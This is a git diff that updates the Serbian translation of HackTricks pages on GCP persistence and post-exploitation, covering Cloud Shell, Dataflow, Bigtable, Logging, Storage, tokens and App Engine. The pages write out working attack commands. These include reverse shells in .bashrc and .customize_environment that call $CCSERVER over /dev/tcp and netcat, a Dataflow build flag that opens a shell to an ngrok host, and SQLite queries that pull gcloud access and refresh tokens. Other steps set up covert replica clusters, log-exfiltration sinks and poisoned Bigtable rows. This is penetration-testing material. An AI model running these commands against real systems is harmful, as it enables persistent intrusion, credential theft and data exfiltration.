diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigtable-persistence.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigtable-persistence.md index ffdad5bcb..b14484454 100644 --- a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigtable-persistence.md +++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigtable-persistence.md @@ -1,4 +1,4 @@ -# GCP - Bigtable Perzistencija +# GCP - Bigtable Persistence {{#include ../../../banners/hacktricks-training.md}} @@ -10,11 +10,15 @@ Za više informacija o Bigtable pogledajte: ../gcp-services/gcp-bigtable-enum.md {{#endref}} -### Posvećeni App Profile za napadača +### Dedicated attacker App Profile **Dozvole:** `bigtable.appProfiles.create`, `bigtable.appProfiles.update`. -Kreirajte app profile koji usmerava saobraćaj ka vašem klasteru replika i omogućite Data Boost, tako da ne zavisite od dodeljenih čvorova koje odbrambeni tim može primetiti. +Kreirajte app profile koji preusmerava saobraćaj na vaš replica cluster i omogućite Data Boost, tako da nikada ne budete zavisni od provisioned nodes koje branitelji mogu primetiti. + +
+ +Kreirajte prikriveni app profile ```bash gcloud bigtable app-profiles create stealth-profile \ --instance= --route-any --restrict-to= \ @@ -24,29 +28,43 @@ gcloud bigtable app-profiles update stealth-profile \ --instance= --data-boost \ --data-boost-compute-billing-owner=HOST_PAYS ``` -Sve dok taj profil postoji, možete se ponovo povezati koristeći nove kredencijale koji ga referenciraju. +
-### Održavajte sopstveni replika klaster +Sve dok ovaj profil postoji, možete se ponovo povezati koristeći nove kredencijale koji se na njega pozivaju. + +### Održavajte sopstveni klaster replika **Dozvole:** `bigtable.clusters.create`, `bigtable.instances.update`, `bigtable.clusters.list`. -Postavite klaster sa minimalnim brojem čvorova u mirnoj regiji. Čak i ako vaši identiteti klijenata nestanu, **klaster čuva punu kopiju svake tabele** dok ga odbrambeni tim eksplicitno ne ukloni. +Postavite klaster sa minimalnim brojem čvorova u manje prometnoj regiji. Čak i ako vaši klijentski identiteti nestanu, **klaster zadržava kompletnu kopiju svake tabele** dok ga odbrambeni tim eksplicitno ne ukloni. + +
+ +Kreirajte klaster replika ```bash gcloud bigtable clusters create dark-clone \ --instance= --zone=us-west4-b --num-nodes=1 ``` -Pratite ga pomoću `gcloud bigtable clusters describe dark-clone --instance=` kako biste mogli odmah povećati kapacitet kada treba da preuzmete podatke. +
-### Zaključajte replikaciju iza sopstvenog CMEK-a +Prati to pomoću `gcloud bigtable clusters describe dark-clone --instance=` kako би mogao odmah да повећаš капацитете кад треба да извлачиш податке. -**Dozvole:** `bigtable.clusters.create`, `cloudkms.cryptoKeyVersions.useToEncrypt` on the attacker-owned key. +### Закључај репликацију иза свог CMEK -Koristite sopstveni KMS ključ prilikom podizanja klona. Bez tog ključa, Google ne može ponovo kreirati ili fail over klaster, pa blue teams moraju da se koordiniraju s vama pre nego što ga dodirnu. +**Dozvole:** `bigtable.clusters.create`, `cloudkms.cryptoKeyVersions.useToEncrypt` на кључу у власништву нападача. + +Понеси свој KMS кључ када подижеш клон. Без тог кључа, Google не може поново креирати или извршити fail over кластера, па blue teams морају да се координишу са тобом пре него што га додирну. + +
+ +Kreiraj klaster zaštićen CMEK ```bash gcloud bigtable clusters create cmek-clone \ --instance= --zone=us-east4-b --num-nodes=1 \ --kms-key=projects//locations//keyRings//cryptoKeys/ ``` -Rotirajte ili onemogućite ključ u svom projektu da odmah brick-ujete repliku (a da je ipak kasnije možete ponovo uključiti). +
+ +Rotirajte ili onemogućite ključ u svom projektu da odmah onesposobite repliku (uz mogućnost da je kasnije ponovo uključite). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-shell-persistence.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-shell-persistence.md index f4fcd1431..97be8ea27 100644 --- a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-shell-persistence.md +++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-shell-persistence.md @@ -10,49 +10,67 @@ Za više informacija pogledajte: ../gcp-services/gcp-cloud-shell-enum.md {{#endref}} -### Persistent Backdoor +### Trajni backdoor -[**Google Cloud Shell**](https://cloud.google.com/shell/) vam omogućava pristup komandnoj liniji vašim cloud resursima direktno iz vašeg pregledača bez ikakvih povezanih troškova. +[**Google Cloud Shell**](https://cloud.google.com/shell/) vam omogućava pristup komandnoj liniji vaših cloud resursa direktno iz pregledača bez ikakvog troška. -Možete pristupiti Google-ovom Cloud Shell-u iz **web konzole** ili pokretanjem **`gcloud cloud-shell ssh`**. +Pristup Google Cloud Shell možete ostvariti iz **web konzole** ili pokretanjem **`gcloud cloud-shell ssh`**. -Ova konzola ima neke zanimljive mogućnosti za napadače: +Ova konzola ima nekoliko zanimljivih mogućnosti za napadače: -1. **Svaki Google korisnik sa pristupom Google Cloud-u** ima pristup potpuno autentifikovanoj Cloud Shell instanci (Servisni nalozi mogu, čak i kao vlasnici organizacije). -2. Ta instanca će **održavati svoj home direktorijum najmanje 120 dana** ako ne dođe do aktivnosti. -3. Ne postoje **mogućnosti za organizaciju da prati** aktivnost te instance. +1. **Bilo koji Google korisnik sa pristupom Google Cloud** ima pristup potpuno autentifikovanoj Cloud Shell instanci (Service Accounts takođe mogu, čak i ako su Owners organizacije). +2. Ta instanca će **zadržati svoj home directory najmanje 120 dana** ako nema aktivnosti. +3. Organizacija **nema mogućnosti da nadzire** aktivnost te instance. -To u suštini znači da napadač može staviti backdoor u home direktorijum korisnika i sve dok se korisnik povezuje na GC Shell svake 120 dana, backdoor će preživeti i napadač će dobiti shell svaki put kada se pokrene jednostavno tako što će: +Ovo praktično znači da napadač može postaviti backdoor u home directory korisnika i, sve dok se korisnik povezuje na GC Shell najmanje svakih 120 dana, backdoor će opstati i napadač će dobiti shell svaki put kada se pokrene jednostavnim: + +
+ +Add reverse shell to .bashrc ```bash echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc ``` -U home folderu postoji još jedna datoteka pod nazivom **`.customize_environment`** koja, ako postoji, će biti **izvršena svaki put** kada korisnik pristupi **cloud shell-u** (kao u prethodnoj tehnici). Samo umetnite prethodni backdoor ili jedan poput sledećeg da biste održali postojanost sve dok korisnik "često" koristi cloud shell: +
+ +U home folderu se nalazi još jedna datoteka pod nazivom **`.customize_environment`** koja, ako postoji, biće **izvršena svaki put** kada korisnik pristupi **cloud shell** (kao u prethodnoj tehnici). Jednostavno ubacite prethodni backdoor ili neki poput sledećeg da održite persistence sve dok korisnik "frequently" koristi cloud shell: + +
+ +Kreiraj .customize_environment backdoor ```bash #!/bin/sh apt-get install netcat -y nc 443 -e /bin/bash ``` -> [!WARNING] -> Važno je napomenuti da se **prvi put kada se izvrši akcija koja zahteva autentifikaciju**, u pretraživaču korisnika pojavljuje prozor za autorizaciju. Ovaj prozor mora biti prihvaćen pre nego što se komanda može izvršiti. Ako se pojavi neočekivani prozor, to može izazvati sumnju i potencijalno kompromitovati metodu postojanosti koja se koristi. +
-Ovo je prozor koji se pojavljuje prilikom izvršavanja `gcloud projects list` iz cloud shell-a (kao napadač) u korisničkoj sesiji pretraživača: +> [!WARNING] +> Važno je napomenuti da se **prvi put kada se izvrši radnja koja zahteva autentifikaciju** pojavljuje prozor za autorizaciju (pop-up) u korisnikovom pregledaču. Ovaj prozor mora biti prihvaćen pre nego što komanda može da se izvrši. Ako se pojavi neočekivani pop-up, to može izazvati sumnju i potencijalno kompromitovati persistence method koja se koristi. + +This is the pop-up from executing `gcloud projects list` from the Cloud Shell (as attacker) viewed in the browser's user session:
-Međutim, ako je korisnik aktivno koristio cloudshell, prozor se neće pojaviti i možete **prikupiti tokene korisnika sa**: +However, if the user has actively used the Cloud Shell, the pop-up won't appear and you can **prikupiti tokens korisnika pomoću**: + +
+ +Dobijanje access tokens iz Cloud Shell ```bash gcloud auth print-access-token gcloud auth application-default print-access-token ``` -#### Kako se uspostavlja SSH veza +
-U osnovi, koriste se ova 3 API poziva: +#### Kako se uspostavlja SSH konekcija -- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (omogućava vam da dodate svoj javni ključ koji ste kreirali lokalno) -- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (omogućava vam da pokrenete instancu) -- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (govori vam IP adresu google cloud shell-a) +U suštini, koriste se ova 3 API poziva: -Ali možete pronaći dodatne informacije na [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key) +- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (će vam omogućiti da dodate vaš public key koji ste kreirali lokalno) +- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (će vam omogućiti da pokrenete instancu) +- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (reći će vam IP adresu google cloud shell-a) + +Više informacija možete pronaći na [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key) ## Reference diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-dataflow-persistence.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-dataflow-persistence.md index a23ba0a31..a517449ae 100644 --- a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-dataflow-persistence.md +++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-dataflow-persistence.md @@ -1,12 +1,16 @@ -# GCP - Dataflow Persistence +# GCP - Dataflow Persistencija {{#include ../../../banners/hacktricks-training.md}} ## Dataflow -### Nevidljiva postojanost u izgrađenom kontejneru +### Nevidljiva persistencija u izgrađenom kontejneru -Prateći [**tutorijal iz dokumentacije**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates), možete kreirati novu (npr. python) fleksibilnu šablon: +Prateći [**tutorial iz dokumentacije**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates) možete kreirati novi (npr. python) flex template: + +
+ +Kreirajte Dataflow flex template sa backdoor-om ```bash git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git cd python-docs-samples/dataflow/flex-templates/getting_started @@ -36,9 +40,15 @@ gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \ --env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \ --region=us-central1 ``` -**Dok se gradi, dobićete reverznu ljusku** (možete zloupotrebiti env varijable kao u prethodnom primeru ili druge parametre koji postavljaju Docker fajl da izvršava proizvoljne stvari). U ovom trenutku, unutar reverzne ljuske, moguće je **otići u `/template` direktorijum i izmeniti kod glavnog python skripta koji će biti izvršen (u našem primeru to je `getting_started.py`)**. Postavite svoj backdoor ovde tako da svaki put kada se posao izvrši, on će ga izvršiti. +
-Zatim, sledeći put kada se posao izvrši, pokrenuće se kompromitovani kontejner koji je izgrađen: +**Dok se gradi, dobićete reverse shell** (možete zloupotrebiti env variables kao u prethodnom primeru ili druge params koji postavljaju Docker file da izvrši proizvoljne stvari). U tom trenutku, unutar reverse shell-a, moguće je **otići u `/template` direktorijum i izmeniti kod glavnog python skripta koji će biti izvršen (u našem primeru ovo je `getting_started.py`)**. Postavite svoj backdoor ovde tako da se svaki put kada se job izvrši, on izvrši. + +Zatim, sledeći put kada se job izvrši, kompromitovani container koji je izgrađen biće pokrenut: + +
+ +Run Dataflow template ```bash # Run template gcloud dataflow $NAME_TEMPLATE run testing \ @@ -46,4 +56,6 @@ gcloud dataflow $NAME_TEMPLATE run testing \ --parameters=output="gs://$REPOSITORY/out" \ --region=us-central1 ``` +
+ {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-logging-persistence.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-logging-persistence.md index 39e7a54ef..7ad995a76 100644 --- a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-logging-persistence.md +++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-logging-persistence.md @@ -1,10 +1,10 @@ -# GCP - Održavanje Logova +# GCP - Logging Persistence {{#include ../../../banners/hacktricks-training.md}} -## Logovanje +## Logging -Pronađite više informacija o logovanju u: +Više informacija o Logging potražite u: {{#ref}} ../gcp-services/gcp-logging-enum.md @@ -12,8 +12,14 @@ Pronađite više informacija o logovanju u: ### `logging.sinks.create` -Kreirajte sud za eksfiltraciju logova na odredište dostupno napadaču: +Kreirajte sink da exfiltrate logove na destinaciju dostupnu napadaču: + +
+ +Kreirajte logging sink ```bash gcloud logging sinks create --log-filter="FILTER_CONDITION" ``` +
+ {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistence.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistence.md index 24db7f60c..af8e75007 100644 --- a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistence.md +++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistence.md @@ -1,51 +1,79 @@ -# GCP - Token Persistence +# GCP - Persistencija tokena {{#include ../../../banners/hacktricks-training.md}} ### Tokeni autentifikovanih korisnika Da biste dobili **trenutni token** korisnika, možete pokrenuti: + +
+ +Preuzmi access token iz SQLite baze podataka ```bash sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='';" ``` -Proverite na ovoj stranici kako da **direktno koristite ovaj token koristeći gcloud**: +
+ +Pogledajte na ovoj stranici kako da **direktno koristite ovaj token pomoću gcloud**: {{#ref}} https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#gcp {{#endref}} -Da biste dobili detalje za **generisanje novog pristupnog tokena**, pokrenite: +Da biste dobili detalje za **generisanje novog access tokena**, pokrenite: + +
+ +Get refresh token from SQLite database ```bash sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='';" ``` -Takođe je moguće pronaći refresh tokene u **`$HOME/.config/gcloud/application_default_credentials.json`** i u **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`**. +
-Da biste dobili novi osveženi pristupni token sa **refresh tokenom**, ID-jem klijenta i tajnom klijenta, pokrenite: +Takođe je moguće pronaći refresh tokens u **`$HOME/.config/gcloud/application_default_credentials.json`** i u **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`**. + +Da biste dobili novi access token pomoću **refresh token**, client ID i client secret pokrenite: + +
+ +Dobijte novi access token koristeći refresh token ```bash curl -s --data client_id= --data client_secret= --data grant_type=refresh_token --data refresh_token= --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token ``` -Važenje refresh tokena može se upravljati u **Admin** > **Security** > **Google Cloud session control**, a prema zadanim postavkama postavljeno je na 16h, iako se može postaviti da nikada ne istekne: +
+ +Važenje refresh tokena može se upravljati u **Admin** > **Security** > **Google Cloud session control**, a po defaultu je postavljeno na 16h, i može se podesiti da nikada ne ističe:
-### Auth flow +### Tok autentifikacije -Tok autentifikacije kada se koristi nešto poput `gcloud auth login` otvorit će prozor u pregledniku, a nakon prihvatanja svih opsega, preglednik će poslati zahtev kao što je ovaj na http port otvoren od strane alata: +Tok autentifikacije pri korišćenju nečeg poput `gcloud auth login` otvara prompt u pregledaču, i nakon prihvatanja svih scopes pregledač će poslati zahtev poput ovog na http port koji otvori alat: ``` /?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1 ``` -Zatim, gcloud će koristiti stanje i kod sa nekim hardkodiranim `client_id` (`32555940559.apps.googleusercontent.com`) i **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) da dobije **konačne podatke o refresh tokenu**. +Zatim, gcloud će iskoristiti state i code sa nekim hardkodiranim `client_id` (`32555940559.apps.googleusercontent.com`) i **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) da dobije **final refresh token data**. > [!CAUTION] -> Imajte na umu da je komunikacija sa localhost-om u HTTP-u, tako da je moguće presresti podatke da bi se dobio refresh token, međutim, ovi podaci su validni samo 1 put, tako da bi to bilo beskorisno, lakše je jednostavno pročitati refresh token iz datoteke. +> Imajte na umu da je komunikacija sa localhost preko HTTP-a, tako da je moguće presresti podatke i dobiti refresh token; međutim, ti podaci važe samo jednom, pa bi to bilo beskorisno — lakše je pročitati refresh token iz fajla. -### OAuth Scopes +### OAuth dozvole -Možete pronaći sve Google scope-ove na [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) ili ih dobiti izvršavanjem: +Sve Google dozvole možete pronaći na [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) ili ih dobiti izvršavanjem: + +
+ +Dobijte sve Google OAuth dozvole ```bash curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u ``` -Moguće je videti koje opsege aplikacija koja **`gcloud`** koristi za autentifikaciju može podržati pomoću ovog skripta: +
+ +Moguće je videti koje scope-ove aplikacija koju **`gcloud`** koristi za autentifikaciju može podržati pomoću ovog skripta: + +
+ +Proveri podržane scope-ove za gcloud ```bash curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do echo -ne "Testing $scope \r" @@ -55,7 +83,9 @@ echo $scope fi done ``` -Nakon izvršavanja, provereno je da ova aplikacija podržava ove opsege: +
+ +Nakon izvršenja, provereno je da ova aplikacija podržava sledeće scopes: ``` https://www.googleapis.com/auth/appengine.admin https://www.googleapis.com/auth/bigquery @@ -65,24 +95,24 @@ https://www.googleapis.com/auth/devstorage.full_control https://www.googleapis.com/auth/drive https://www.googleapis.com/auth/userinfo.email ``` -zanimljivo je videti kako ova aplikacija podržava **`drive`** opseg, što bi moglo omogućiti korisniku da eskalira sa GCP na Workspace ako napadač uspe da primora korisnika da generiše token sa ovim opsegom. +Zanimljivo je videti kako ova aplikacija podržava **`drive`** scope, što bi moglo omogućiti eskalaciju sa GCP na Workspace ako napadač uspe da natera korisnika da generiše token sa ovim scope-om. -**Proverite kako da** [**zloupotrebite ovo ovde**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**.** +**Pogledaj kako da** [**abuse this here**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**.** -### Računi usluga +### Service Accounts -Baš kao i kod autentifikovanih korisnika, ako uspete da **kompromitujete privatni ključ** računa usluge, moći ćete da **pristupite njemu obično koliko god želite**.\ -Međutim, ako ukradete **OAuth token** računa usluge, to može biti još zanimljivije, jer, čak i ako su ovi tokeni po defaultu korisni samo sat vremena, ako **žrtva obriše privatni API ključ, OAuth token će i dalje biti važeći dok ne istekne**. +Poput autentifikovanih korisnika, ako uspeš da kompromituješ **datoteku privatnog ključa** servisnog naloga bićeš u mogućnosti da mu **pristupaš obično onoliko dugo koliko želiš**.\ +Međutim, ako ukradeš **OAuth token** servisnog naloga, to može biti još interesantnije, zato što, iako su po defaultu ovi tokeni korisni samo oko sat vremena, ako **žrtva obriše privatni api ključ, OAuth token će i dalje biti važeći dok ne istekne**. -### Metapodaci +### Metadata -Očigledno, sve dok ste unutar mašine koja radi u GCP okruženju, moći ćete da **pristupite računu usluge povezanom sa tom mašinom kontaktirajući metapodatkovni krajnji tačku** (napomena da su Oauth tokeni kojima možete pristupiti na ovoj krajnjoj tački obično ograničeni opsegom). +Očigledno, sve dok si unutar mašine koja radi u GCP okruženju moći ćeš da **pristupiš servisnom nalogu prikačenom za tu mašinu kontaktirajući metadata endpoint** (imaj na umu da su OAuth tokens koje možeš dobiti preko ovog endpointa obično ograničeni scope-ovima). -### Remedijacije +### Remediations -Neke remedijacije za ove tehnike su objašnjene u [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2) +Neka rešenja za ove tehnike su objašnjena u [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2) -### Reference +### References - [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1) - [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2) diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-storage-persistence.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-storage-persistence.md index d5b833018..d6e7a1c5b 100644 --- a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-storage-persistence.md +++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-storage-persistence.md @@ -1,10 +1,10 @@ -# GCP - Održavanje u skladištu +# GCP - Perzistencija Storage-a {{#include ../../../banners/hacktricks-training.md}} -## Skladište +## Storage -Za više informacija o Cloud Storage, proverite: +Za više informacija o Cloud Storage pogledajte: {{#ref}} ../gcp-services/gcp-storage-enum.md @@ -12,7 +12,11 @@ Za više informacija o Cloud Storage, proverite: ### `storage.hmacKeys.create` -Možete kreirati HMAC za održavanje postojanosti nad bucket-om. Za više informacija o ovoj tehnici [**proverite ovde**](../gcp-privilege-escalation/gcp-storage-privesc.md#storage.hmackeys.create). +Možete kreirati HMAC da biste održali perzistenciju nad bucketom. Za više informacija o ovoj tehnici [**pogledajte ovde**](../gcp-privilege-escalation/gcp-storage-privesc.md#storage.hmackeys.create). + +
+ +Kreiranje i korišćenje HMAC ključa za pristup Storage-u ```bash # Create key gsutil hmac create @@ -23,11 +27,13 @@ gsutil config -a # Use it gsutil ls gs://[BUCKET_NAME] ``` -Još jedan skript za eksploataciju ove metode može se naći [ovde](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py). +
-### Dati javni pristup +Još jedan exploit script za ovu metodu može se naći [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py). -**Učiniti kantu javno dostupnom** je još jedan način da se održi pristup kanti. Proverite kako to uraditi u: +### Omogućite javni pristup + +**Omogućavanje javnog pristupa bucketu** je još jedan način da se održi pristup bucketu. Pogledajte kako to uraditi u: {{#ref}} ../gcp-post-exploitation/gcp-storage-post-exploitation.md diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md index 1fb298671..c106e9ec5 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md @@ -4,7 +4,7 @@ ## `App Engine` -Za informacije o App Engine proverite: +Za informacije o App Engine pogledajte: {{#ref}} ../gcp-services/gcp-app-engine-enum.md @@ -12,30 +12,36 @@ Za informacije o App Engine proverite: ### `appengine.memcache.addKey` | `appengine.memcache.list` | `appengine.memcache.getKey` | `appengine.memcache.flush` -Sa ovim dozvolama moguće je: +Uz ove dozvole moguće je: - Dodati ključ -- Ispisati ključeve +- Navesti ključeve - Dobiti ključ -- Obriši +- Obri­sati > [!CAUTION] -> Međutim, **nisam mogao da pronađem nijedan način da pristupim ovim informacijama iz cli**, samo iz **web konzole** gde je potrebno znati **Tip ključa** i **Ime ključa**, ili iz **aplikacije koja se pokreće na app engine**. +> Međutim, **nisam uspeo da nađem način da pristupim ovim informacijama preko cli-a**, samo iz **web console** gde morate znati **Key type** i **Key name**, ili iz same **aplikacije koja se pokreće na App Engine**. > -> Ako znate lakše načine za korišćenje ovih dozvola, pošaljite Pull Request! +> Ako znate lakše načine da koristite ove dozvole, pošaljite Pull Request! ### `logging.views.access` Sa ovom dozvolom moguće je **videti logove aplikacije**: + +
+ +Praćenje logova aplikacije (tail) ```bash gcloud app logs tail -s ``` -### Čitaj Izvorni Kod +
-Izvorni kod svih verzija i usluga je **smešten u bucket** sa imenom **`staging..appspot.com`**. Ako imate pristup za pisanje, možete čitati izvorni kod i tražiti **ranjivosti** i **osetljive informacije**. +### Čitanje izvornog koda -### Izmeni Izvorni Kod +Izvorni kod svih verzija i servisa je **smešten u bucket** pod imenom **`staging..appspot.com`**. Ako imate pristup za upis nad njim, možete pročitati izvorni kod i pretražiti ga za **ranjivosti** i **osetljive informacije**. -Izmenite izvorni kod da biste ukrali akreditive ako se šalju ili izvršite napad na web stranicu. +### Izmena izvornog koda + +Izmenite izvorni kod da biste ukrali credentials ako se šalju ili izvršili defacement web attack. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigtable-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigtable-post-exploitation.md index 4e93f13fc..5d3e3886b 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigtable-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigtable-post-exploitation.md @@ -11,30 +11,46 @@ Za više informacija o Bigtable pogledajte: {{#endref}} > [!TIP] -> Instalirajte `cbt` CLI jednom putem Cloud SDK-a kako bi naredbe ispod radile lokalno: +> Instalirajte `cbt` CLI jednom preko Cloud SDK-a kako bi naredbe ispod radile lokalno: +> +>
+> +> Instalirajte cbt CLI > > ```bash > gcloud components install cbt > ``` +> +>
### Čitanje redova **Dozvole:** `bigtable.tables.readRows` -`cbt` dolazi uz Cloud SDK i komunicira sa admin/data APIs bez potrebe za bilo kakvim middleware-om. Usmerite ga na kompromitovani projekat/instancu i pročitajte redove direktno iz tabele. Ograničite skeniranje ako vam treba samo brz pregled. +`cbt` dolazi uz Cloud SDK i komunicira sa admin/data APIs bez potrebe za dodatnim slojem. Usmerite ga na kompromitovani projekat/instancu i preuzmite redove direktno iz tabele. Ograničite skeniranje ako vam je potreban samo pregled. + +
+ +Pročitaj Bigtable unose ```bash # Install cbt gcloud components update gcloud components install cbt -# Read entries with creds of gcloud +# Read entries with creds of gcloud cbt -project= -instance= read ``` +
+ ### Pisanje redova -**Dozvole:** `bigtable.tables.mutateRows`, (trebaće vam `bigtable.tables.readRows` da potvrdite promenu). +**Dozvole:** `bigtable.tables.mutateRows`, (trebaće vam `bigtable.tables.readRows` da potvrdite izmenu). -Koristite isti alat za upsert proizvoljnih ćelija. Ovo je najbrži način da ubacite backdoor u konfiguracije, postavite web shells ili ubacite zatrovane redove dataseta. +Koristite isti alat da izvršite upsert proizvoljnih ćelija. Ovo je najbrži način da ubacite backdoor u konfiguracije, postavite web shells ili ubacite poisoned dataset rows. + +
+ +Ubacivanje zlonamernog reda ```bash # Inject a new row cbt -project= -instance= set := @@ -44,16 +60,22 @@ cbt -project= -instance= set user#1337 prof # Verify the injected row cbt -project= -instance= read rows=user#1337 ``` -`cbt set` prihvata sirove bajtove preko sintakse `@/path`, tako da možete poslati kompajlirane payloads ili serijalizovane protobufs tačno onako kako downstream services očekuju. + -### Izvezite redove u svoj bucket +`cbt set` prihvata sirove bajtove preko `@/path` sintakse, pa možete poslati compiled payloads ili serialized protobufs tačno onako kako downstream services očekuju. + +### Izdvoji redove u svoj bucket **Dozvole:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs` -Moguće je eksfiltrirati sadržaj cele tabele u bucket koji kontroliše napadač pokretanjem Dataflow job-a koji streamuje redove u GCS bucket koji vi kontrolišete. +Moguće je exfiltrate sadržaj cele tabele u bucket pod kontrolom napadača pokretanjem Dataflow job-a koji streamuje redove u GCS bucket koji vi kontrolišete. > [!NOTE] -> Imajte na umu da će vam biti potrebna dozvola `iam.serviceAccounts.actAs` nad nekim SA koji ima dovoljno dozvola za izvođenje eksporta (po defaultu, ukoliko nije drugačije naznačeno, koristiće se podrazumevani compute SA). +> Imajte na umu da će vam trebati dozvola `iam.serviceAccounts.actAs` nad nekim SA koji ima dovoljno dozvola za izvođenje export-a (po defaultu, ako nije drugačije naznačeno, biće korišćen default compute SA). 